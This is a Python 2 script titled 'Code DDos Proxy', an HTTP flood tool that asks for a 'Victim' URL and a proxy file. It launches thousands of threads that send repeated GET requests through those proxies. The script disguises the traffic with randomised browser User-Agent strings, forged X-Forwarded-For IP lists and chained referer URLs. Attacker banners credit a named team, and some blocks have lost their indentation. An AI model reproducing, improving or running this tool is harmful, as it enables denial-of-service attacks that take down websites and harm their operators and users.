Code DDos Proxy

#!/usr/bin/env python
#coding: utf-8
#..:: > Attack < ::..
import random
import socket
import threading
import time
import datetime
import urllib2
import urllib
import re
import sys
import optparse
import os
import urlparse
#GET USER-AGENT
def getUserAgent():
    platform = random.choice(['Macintosh', 'Windows', 'X11'])
    if platform == 'Macintosh':
        os  = random.choice(['68K', 'PPC'])
    elif platform == 'Windows':
        os  = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE', 'Windows 7', 'Windows 8'])
    elif platform == 'X11':
        os  = random.choice(['Linux i686', 'Linux x86_64'])
    browser = random.choice(['chrome', 'firefox', 'ie'])
    if browser == 'chrome':
        webkit = str(random.randint(500, 599))
        version = str(random.randint(0, 28)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
        return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
    elif browser == 'firefox':
        currentYear = datetime.date.today().year
        year = str(random.randint(2000, currentYear))
        month = random.randint(1, 12)
        if month < 10:
            month = '0' + str(month)
        else:
            month = str(month)
        day = random.randint(1, 30)
        if day < 10:
            day = '0' + str(day)
        else:
            day = str(day)
        gecko = year + month + day
        version = str(random.randint(1, 21)) + '.0'
        return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
    elif browser == 'ie':
        version = str(random.randint(1, 10)) + '.0'
        engine = str(random.randint(1, 5)) + '.0'
        option = random.choice([True, False])
        if option == True:
            token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
        else:
            token = ''
        return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'

reFerers = [
"https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=",
"http://www.google.com/?q=",
"https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
"https://drive.google.com/viewerng/viewer?url=",
"http://www.google.com/translate?u=",
"https://developers.google.com/speed/pagespeed/insights/?url=",
"http://help.baidu.com/searchResult?keywords=",
"http://www.bing.com/search?q=",
"https://add.my.yahoo.com/rss?url=",
"https://twitter.com/search?q=",
"https://play.google.com/store/search?q="]

def randomReFerer():
    return random.choice(reFerers)

def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return(out_str)

def randomIp():
    random.seed()
    result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.'
    result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
    return result

def randomIpList():
    random.seed()
    res = ""
    for ip in xrange(random.randint(2, 8)):
        res = res + randomIp() + ", "
    return res[0:len(res) - 2]

class attacco(threading.Thread):
def run(self):
current = x
if current < len(listaproxy):
proxy = listaproxy[current].split(':')
else:
proxy = random.choice(listaproxy).split(':')
useragent = "User-Agent: " + getUserAgent() + "\r\n"
forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
referer = "Referer: "+ randomReFerer() + randomReFerer() + randomReFerer() + url + "?r="+ str(random.randint(1, 1000)) + buildblock(random.randint(7, 14)) +  "\r\n"
httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
while nload:
time.sleep(1)
while 1:
try:
a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
a.connect((proxy[0], int(proxy[1])))
a.send(httprequest)
try:
for i in xrange(3):
a.send(httprequest)
except:
tts = 1
except:
proxy = random.choice(listaproxy).split(':')

#Main
print"::::::::::::::::>Fucking all<:::::::::::::::::"
# Site
url = raw_input("Victim: ")
host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
#Proxy
in_file = open(raw_input("Proxy: "),"r")
proxyf = in_file.read()
in_file.close()
listaproxy = proxyf.split("\n")
#So luong
thread = int(input("So luong (7000): "))
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
accept = "Accept-Encoding: gzip, deflate\r\n"
connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
nload = 1
x = 0
print 'CODE MOD BY Knight2k1 !!!!!!!!!!!!!!!!!!!!!!!!!'
for x in xrange(int(thread + 1)):
attacco().start()
time.sleep(0.000000000000000000000000000000000000000001)
print "ATTACK BY Fucking all Team !!!!!!!!!!!!!!!!!!!!!!!!!!!!"
nload = 0
while not nload:
    time.sleep(1)